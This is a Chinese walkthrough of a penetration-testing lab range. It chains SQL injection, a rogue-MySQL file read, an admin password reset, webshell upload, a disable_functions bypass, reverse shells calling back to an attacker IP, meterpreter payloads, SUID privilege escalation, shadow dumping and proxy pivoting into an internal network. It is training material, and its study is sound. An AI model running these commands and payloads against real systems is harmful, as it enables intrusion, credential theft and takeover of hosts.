暗月渗透测试-项目五

准备工作

环境搭建

使用的是暗月提供的环境

直接虚拟机运行即可

设置网络环境

网卡配置的时候为了方便直接使用的是暗月的vm19的网卡配置的内网环境

环境搭建完成

如果使用的Mac的环境话、对于内网环境的搭建也最好是使用vm虚拟机不是使用pd

Mac环境搭建

10.10.10.0网卡的搭建

1,打开vm偏好设置、添加一块网卡

就像上图添加设置就行

2.子网掩码配置

终端打开

1
2
cd /Library/Preferences/VMware\ Fusion/

进入文件夹下

编辑networking

1
2
sudo vim networking

需要修改的地方

VNET_3开头的配置就是我们创建的那块网卡,有子网掩码和子网网段,注意,是子网地址网段

继续打开新增的vm网卡的文件夹下

修改配置文件nat.cnf

1
2
sudo vim nat.cnf

然后保存即可

然后进入需要配置的虚拟机

连接网卡

配置完成

00x1-信息搜集+网站复现

信息搜集

首先我们知道目标网站的域名

测试真实ip

这里这可以通过ping的方式查找真是的ip

下面是介绍的一些信息搜集的方法

https://mp.weixin.qq.com/s/vJfhagYyQk8nZUSIdJviyA

使用nmap进行端口扫描

1
2
nmap -Pn -sS 192.168.0.122 -A -oA ddd4

这里为了方便后面使用msf利用漏洞直接将扫描的结果输出文档了

进行cms指纹的扫描识别

1
2
whatweb http://www.ddd4.com/

结果

这里我们已经能确定开启的端口以及网站的cms框架、以及使用的cms框架的版本

网站的复现

将上述扫描到的cms指纹框架源码下载下来我们还需要自己在本机进行相应的复现、这样才能方便我们后续的代码审计

放到自己的机器上面进行复现、这里我们可以使用PHP study在本机的Windows上进行网站的复现我们也可以在自己的Linux万能网站框架上进行复现、可以最大程度的复原网站

Linux

网站复现

00x2-网站代码审计、漏洞利用、进入网站

审计源码

我们要审计的网站源码是网站复现搭建完成后的网站源码而不是我们自己刚刚下载下来的网站源码、因为只有复现搭建完成后的网站源码才有相关数据库的写入关系

先使用seasy源码审计工具进行自动审计

对于代码审计的顺序我们一般要做的就是跟着整个网站的逻辑顺序先查看一边有无可以利用的函数例如:对于可控参数的地方是否有sql注入、命令执行、任意文件读取、文件包含等一些简单常用的漏洞

查看index.php

在首页网站我们可以看到的是对网页的dbconfig.php文件的检查,查看是否进行网站的安装、

完后会跳转到loader目录下的load.php文件、

在这个文件我们看到是一些静态问价的加载、但是在后面还会加载doc.php的文件

跟踪

这里我们发现一直被调用引用的参数

查看限制这个参数的cleanArrayForMysqld的方法

查看到这个方法是对data参数的gpc转义

什么是gpc转义

就是使用反斜线引用字符串

同时还有发现以=一个sql的waf的方法、查看这个方法被那些函数调用了

后台登录的时候的输入框的调用以及评论的输入框的调用、

sql注入一

我们继续排查的时候在静态文件配置文件里面找到一个apliy.php的支付文件

但是这里的注入有一个前提条件是需要满足验证结果的

命令执行漏洞

我们查找网站的功能模块的时候在搜索功能取发现了可控参数、keyword我们可以通过url编码的方式绕过sql的检查方法

编码测试

url编码绕过sql检查

test

不管是经过一次的url编码还是经过两次的url编码都是能正常解析输入的内容的。

网站上测试

输入内容

输入的url编码内容成功的被解析并且还成功的执行了sql的查询功能、同时还有报错

然后就是sql注入的利用

使用双编码的方式进行sql注入我们是可以使用sqlmap进行注入的

在sqlmap里面有一个双url编码的脚本

chardoubleencode.py

字符双编码脚本

使用sqlmap

1
sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch

结果

成功得到数据库

但是继续想使用–os-sell来拿shell的时候发现是不成功的

1
2
sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py --os-shell --batch

结果

获取

shell不成功我们目标网站还有一个重要的就是打包网站的数据库文件。

1
2
sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump

得到admin用户的密码

admin密码

1
2
9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

尝试使用MD5爆破无果

源码审计admin用户密码的加密方式,然后尝试逆破密码

查看对于passwd参数检查的函数

引用的两个方法

得到加密的方法

跟踪

密码逆向基本不可能了

还有的方法只能是进行密码的替换了(需要数据库的权限)但是我们是没有数据库的密码的、现在的权限是很低的

这个sql的可利用点基本上就没有太大了

漏洞三:

回到seasy源码审计

基本上我们在审计挖网站漏洞的时候主要注意的漏洞点就是(sql注入、命令执行、文件包含、任意文件读取、目录穿越)的漏洞

测试

在首页的index.php对于参数的限制是比较死的、只能是数组里面的两个(cn、en)

在查看admin下的index.php的情况

最后出现的可包含的位置

%00截断绕过(文件包含)

查看文件包含的过程(是如何从index.php的文件中直接跳转到login.php的过程、这其中肯定涉及到login.php的文件包含的过程)

在index.php里我们可以看到默认传参的是 有定义的

所以是不需要输入就可以直接跳转的,这里我们测试一下参数 l 是不是可以控制的

l 的参数确实是可以控制的

下面尝试文件包含

尝试使用%00截断的方式(但是这个00截断的方式的使用是有限制的、只能是在php版本<5.3的时候才能使用的)

我们可以尝试一下

发现是不行的

我们看一下php的版本、在响应头的位置也是没有的

看一下有没有phpinfo的文件存在

这里是用不了的

漏洞四:

MySQL任意文件读取

原理:利用的是网站在安装的时候、在获取数据库信息以及数据库的安装检查的时候是分开的、是先将用户输入的数据库信息写入到setup目录下的一个db-config-sample.php的文件中的、然后在数据库进行检查的是时候是在check.php文件中、要连接上数据库的时候是获取的全局变量的、这就造成了数据库检查时的参数可控的情况。

利用:我们针对数据库检查交互的时候、数据库的位置我们是可以自己控制的、然后利用python自己伪造一个mysql的服务、让目标机连接我们的虚假数据库服务、进行数据的获取。

漏洞工具:Rogue-MySql-Server

我们在seasy中看到了setup的文件包含的漏洞

发现可控的参数

访问尝试

直接返回了0

有戏、跟踪checkdb.php

一个数据库连接的文件、这里我们发现

mysql客户端任意文件读取

使用脚本

教程

在攻击机里执行

确定自己的ip

攻击语句

1
2
3
www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.128&action=chkdb


语句构成

结果

会有报错说明已经执行成功、访问的就是我们攻击机上的假的mysql服务器

我们想要的结果是在poc文件下的log里面记录的

然后我们在修改要读取的文件、我们知道网站的配置信息数据库信息都是在/config/doc-config-cn.php的文件中的,我们尝试读取。

执行

结果

成功将/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

的文件带出

配置文件信息就能到的

1
2
3
4
5
6
mysql的配置信息
www_ddd4_com
x4ix6ZrM7b8nFYHn
localhost
class.docencryption.php

尝试远程登录

发现是可以远程登录的

这时候我们就可以进行admin用户的密码替换了

我们在前面已经知道密码的加密方式、这里我们可以进行加密

将得到的加密算法class.docencryption.php

然后使用login.php里面的加密方式进行加密

然后自己改写加密方式,让其输出指定的值

结果

得到我们自己设置的密码

1
2
33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

替换

结果

测试

结果

成功进入后台

00x3-后台任意文件上传漏洞挖掘

后台文件上传

我们在前面已经成功的将admin用户的密码进行了替换

成功的进入到后台

基础的查看网站的所有功能、看看有没有后台文件上上传的地方

查看到有编辑器的存在、能够保存html的网页、这样我们就能上传htnl的马、这里的方法和项目三的html马上传是一样的

查找能够上传本地文件的位置

添加用户的图像上传

在用户管理的模块我们可以看到有数据库和用户的管理模块

在这里我们还能够对网站的数据库数据进行备份、删除、上传

数据库上传位置的分析

首先分析文件上传的流程以及使用过的函数

抓包分析

跟踪函数方法

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function uploadsql()
{
global $request;
$uploadfile=basename($_FILES['uploadfile']['name']);
if($_FILES['userfile']['size']>$request['max_file_size'])
echo '<script>alert("您上传的文件超出了2M的限制!");window.history.go(-1);</script>';
if(fileext($uploadfile)!='sql')
echo '<script>alert("只允许上传sql格式文件!");window.history.go(-1);</script>';
#这里在判断文件上传类型的时候我们可以看到、函数知识进行了是否是sql的一个判断、判断完成以后是没有退出
#的我们是可以在这里进行截断的
$savepath = ABSPATH.'/temp/data/'.$uploadfile;
if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $savepath))
{
echo '<script>alert("数据库SQL脚本文件上传成功!");window.history.go(-1);</script>';
}
else
{
echo '<script>alert("数据库SQL脚本文件上传失败!");window.history.go(-1);</script>';
}
}

利用网站的逻辑漏洞、就是在判断上传的文件点后是没有对判断进行退出的、而是在判断之后直接有向下执行了而不是exit退出整个上传的逻辑判断的

利用

尝试

然后去上传的文件夹里面查看

直接能够访问到

上传小马

蚁剑链接

是无法直接解析php文件的

想到刚刚的图片是可以解析、上传成功的、我们上传图片马

连接

无法使用php解析图片

查看phpinnfo信息查看是否开启.user.ini配置文件

帮助图片马的解析

可以解析

上传

蚁剑连接

还是没有办法解析图片马

尝试上传其他文件方式

phtml

失败

可能是由于后台的apache服务的允许解析的后缀问价名没有添加phtml文件的解析功能

编辑器模板漏洞

有个模板编辑的文件位置

编辑模板

发现可以直接编辑网站原有的php文件

直接测试

访问网站的首页

直接就成了

写马连shell

连接

这里我们使用的是蚁剑发现是连接不上去的

查看是不是因为disable_function的问题

并没有将eval函数写入到disable_function当中

应该是连接工具的问题、使用菜刀

连接

00x4-baypass_disablefuc

通过菜刀webshell我们上传自己的大马

查看webshell能不能执行命令

无法执行命令

查看disable_function

存在大量的被禁函数

1
2
3
4
5
6
7
8
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,
ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,
pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,
pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
imap_open,apache_setenv

绕过

这里我们可以使用大佬的脚本

here

食用方法:

将文件夹里的.so文件与.php文件上传到网站的目录下面

在网站上面访问这个文件

注意访问的参数

我们需要修改为

1
2
http://www.ddd4.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

结果

成功执行pwd的命令

查看用户id

尝试反弹shell

攻击机起一个监听端口

执行命令

1
2
3
4
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.46.9 9010 >/tmp/f

bash -i >& /dev/tcp/192.168.46.9/9010 0>&1

注意:

脚本使用的时候参数是需要进行url编码的

执行

结果

是能够反弹的,但是shell是不能执行命令的

gg

反弹shell失败、常规操作没有了

00x5-MSF生成攻击载荷

使用matespolite生成木马文件

1
2
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.46.9 LPORT=9010 -f elf > /home/kali/Desktop/ddd4/ddd4re

结果

攻击载荷

上传

执行攻击载荷

打开matespolite

建立工作区

使用use multi/handler模块

1
2
use multi/handler

进入我们刚刚使用的那个模块、进行监听

1
2
set payload linux/x86/meterpreter/reverse_tcp

查看设置的情况

show options

执行

1
2
3
exploit   在前台监听一次、用户断开后就需要重新监听
exploit -j 在后台监听、可以一直不断开

网站访问我们上传的载荷

增加可执行权限

1
2
chmod 777 ddd4

666没有执行权限

怎加权限

使用刚刚的脚本

结果

成功修改

执行载荷

1
2
./ddd4

攻击机查看反弹情况

matespolite上已经成功反弹并且能够执行命令

00x6-建立完整的shell权限

我们在上面是用matesploit监听反弹过来的shell虽然能够执行一些命令、但是在使用键盘上其他键位的时候会出现乱码

也就是没有办法很好的使用

解决

攻击机本地新建一个监听端口

在msf上的shell在次反弹shell

1
2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.46.9 7777 >/tmp/f

执行

结果

对于Linux的nc监听反弹的shell窗口我们可以

按住crtl+z 再按fg的时候就可以把放在后台的应用 可以再次把它调用出来

测试

然后使用Pythonshell

1
2
python -c 'import pty;pty.spawn("/bin/bash")'

在次退出前台

执行

1
2
stty raw -echo

然后再次执行命令即可

00x7-linux三大提权工具使用

信息搜集

LinEnum.sh

主要是检查Linux的系统信息的脚本文件

linux-exploit-suggester.sh文件

检查Linux系统上是否存在指纹漏洞的

liinuxprivchecker.py

功能和第一个一样都是检查系统信息、这个主要是检查系统的内核文件

文件上传

对于文件上传的方式我们一般有两种

1.使用webshell工具(菜刀、蚁剑)的自带上传服务上传文件

2.使用Python自带的web服务来上传

使用菜刀

使用Python的http服务

下载

执行命令

1
2
sh LinEnum.sh > lin.txt

获取的所有信息都会在终端显示出来

运行第二个检测脚本

发现可利用的点

运行第三个

1
2
python linuxprivchecker.py

基本的信息我们都已经查看完了、

可以确实能够确定的就是目标机里面还存这内网的环境在里面、是有两块网卡的、还有一些基本的信息

然后我们看到目标机的passwd文件、可以看到用户的信息

arp表中发现内网网站

查看目标机的SUID表

查看那些命令是能够执行root权限的

我们也可以使用其他的命令来查看

1
2
find / -type f -perm -u=s 2>/dev/null

这里我们看到find命令是有s权限的、也就是能够想root一样执行命令的

suid提权

参考文献

测试

首先是建立一个空的文件夹

1
2
touch test

然后测试执行命令

1
2
find test -exec whoami \;

结果

可以执行root命令

反弹shell

1
2
3
4
5
6
find test -exec netcat -lvvp 192.168.46.9 5555 -e /bin/sh \;
find test -exec nc -lvvp 5555 -e /bin/sh \;


find test2 -exec bash -i >& /dev/tcp/192.168.46.9/5555 0>&1 \;

查看shadow密码

1
2
find test -exec cat /etc/shadow \;

结果

找到一个密码

使用john进行密码破解

将密码导出来

1
2
3
4
find test -exec cat /etc/shadow > 1.txt \;

sudo /usr/sbin/unshadow /etc/passwd /etc/shadow > passwords.txt

破解

结果

sudo提权

在前面我们已经得到用户的shadow密码文件、可以得到密码

切换用户

看一下主目录文件

1
2
3
cd ~
ls -la

查看文件

切换root用户

1
2
sudo su root

结果

两种方法都是能够得到root权限的

00x8-宝塔提权

我们在菜刀链接上以后看到目录文件的特征就知道这是一个宝塔面板搭建的网站、而且在网站的端口是有8888

开启的、我们访问打开发现是宝塔的安全界面的。

在菜刀上查看shell的权限

发现整个权限是很大的

我们能够访问到整个网站所有的文件的内容的

在目录文件中我们看到有bt.txt的文件;下载打开

宝塔的安全面板命令以及用户名密码

直接登录成功

查看宝塔的用户权限

我们在文件里是可以访问任何文件的同时是可以编辑的

我们来到计划任务、是可以直接添加任务、写入文件的

写一个反弹shell

执行

监听端口、直接就能收到

直接就是root的权限

00x9-metasploit开启代理穿透内网

使用matesploit开启代理打进内网

我们使用msf反弹的shell是www权限的、这时我们需要使用root权限的

这里我们已经有上次的root权限了

现在需要的是给msf弹一个root权限的shell

步骤

在原来的msf上重新执行攻击载荷

另外开启的窗口监听的信息

成功拿到root权限的shell

添加代理

首先查看网卡信息

在查看一下路由表信息

是有访问过10.10.10.144的

确定内网的目标机

查看hosts文件

先确定内网网站信息

存在

使用matasploit做一个代理、让我们的攻击机能够访问到10端

步骤

使用msf获取路由信息

1
2
run get_local_subnets

结果

添加路由表

1
2
3
4
run autoroute -s 10.10.10.0/24
检查的话可以使用
run autoroute -p

结果

启动一个sock4模块

1
2
3
4
search socks

use auxiliary/server/socks_proxy

启用

设置代理端口

1
2
set SRVPORT 5555

这里需要注意的就是我们在配置代理信息的时候模式是使用的socks5的通道协议的、下面的VERSION选项我们是可以自己进行选择的、可以选择socks5或者是socks4a、这里一点是与msf5不一样的、在msf5里面是直接选择使用socksa的模块的

然后启动

添加本地的代理

安装proxy

1
2
apt install proxy

添加配置信息

1
2
sudo vim /etc/proxychains4.conf

结果

扫描目标机的内网

1
2
sudo proxychains4 nmap -sT -Pn 10.10.10.144

结果是可以访问的

添加本地的housts域名绑定、然后访问、也是没有问题的

成功访问到目标机的内网段

0x010-通过代理攻击内网靶机

内网探测

我们在做完代理后、能够顺利的访问到内网段的主机、就可以开始内网的信息扫描搜集

1
2
sudo proxychains4 nmap -sT -Pn -A 10.10.10.144

结果

对于内网的网站环境一般来说、安全防护一般都是会比较弱的、安全人员自认为是在内网段中、对于一些账号密码的设置甚至都是弱口令的形式。

这个我们可以尝试使用弱口令进行爆破、我们还可以尝试一些简单的弱口令

结果登录成功

直接进入网站的后台

漏洞挖掘

我们在登录之后、发现是有编辑器的

是可以自己写内容的、不知道是保存html还是php格式、我们可以先进行尝试

结果发现是不能直接访问的、是在数据库里进行调取的

发现网站模板编辑

查看是什么模板

进行网站的指纹识别

发现是emlog模板

最多的就是sql注入与后台的文件上传

复现

后台的管理员我们已经拿到了、现在直接使用后文件上传、上传木马文件即可

步骤

我们下载一个模板文件、然后再模板文件里面添加后门shell小马、将其压缩打包上传到后台、在执行模板(目标机会自动的将打包文件进行解压、然后将shell木马解压到服务器目录当中)

准备模板文件

下载链接

添加木马文件

上传

访问

先查看一下网站源码目录文件

访问目录

可以没有问题

链接蚁剑、冰蝎

双双拿下

00x11-wdcp主机系统提权

前面我们已经链接上自己的shell

但是权限还是www

下面还需要进行提权

我们首先确定一下网站的搭建是否是用的工具搭建的

访问一个主机的ip地址、查看80端口

可以发现是一个wdcp的管理系统

查看一下暴露出来的内容信息

尝试登录后台管理员

查看php探针信息

对于wdcp管理系统不熟悉的可以google搜索相关的提权漏洞

这里我们访问默认的phpmyadmin的目录

密码的话就尝试默认密码

root/admin

wdlinux.cn

登录成功

发现是有两个可疑数据库的一个就是wdcp管理系统的数据库信息、一个是网站管理的数据库信息

这里我们需要的是wdcp管理系统的用户信息、查看相应的数据表

查看用户密码、发现是MD5的加密

对于密码我们一般就是两种方法、解密、替换两种方法

先进行解密

发现是能够查的说明是完成的MD5、没有加盐

直接替换

审计源码、查找config数据库链接配置文件

nice

直接链接

远程不行、那就直接代理链接

好像也是不行、应该是权限不够

那就破解密码传送门

密码

moonsec123

登录

点击提交后立马弹窗登录超时、一般这种情况应该是目标机的时间不是北京时间、所导致的问题

查询时间

时间是不对的

查看时区

1
2
date -R

东八区是没有错的

既然目标机的时间我们没有办法更改那么久更改我们自己的时间就行了

再次登录

进入后台就好办了

直接查看管理系统有什么权限、以及是否有执行命令的窗口

root权限

这里我们需要注意一点这个执行命令的窗口是有限制的,不是什么命令都可以执行的

在下面的安全管理中我们可以看到网站是禁用ping的一旦使用ping命令就会造成陷入缓冲、直接被禁了、

需要清楚cookie后才能继续访问网站

反弹shell

执行

1
2
bash 

继续查看下面的模块

ssh管理模块

下载ssh秘钥

链接

成功拿到root的shell

0x012-三个flag

122-flag1

122-flag2

内网flag3

写在最后

欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!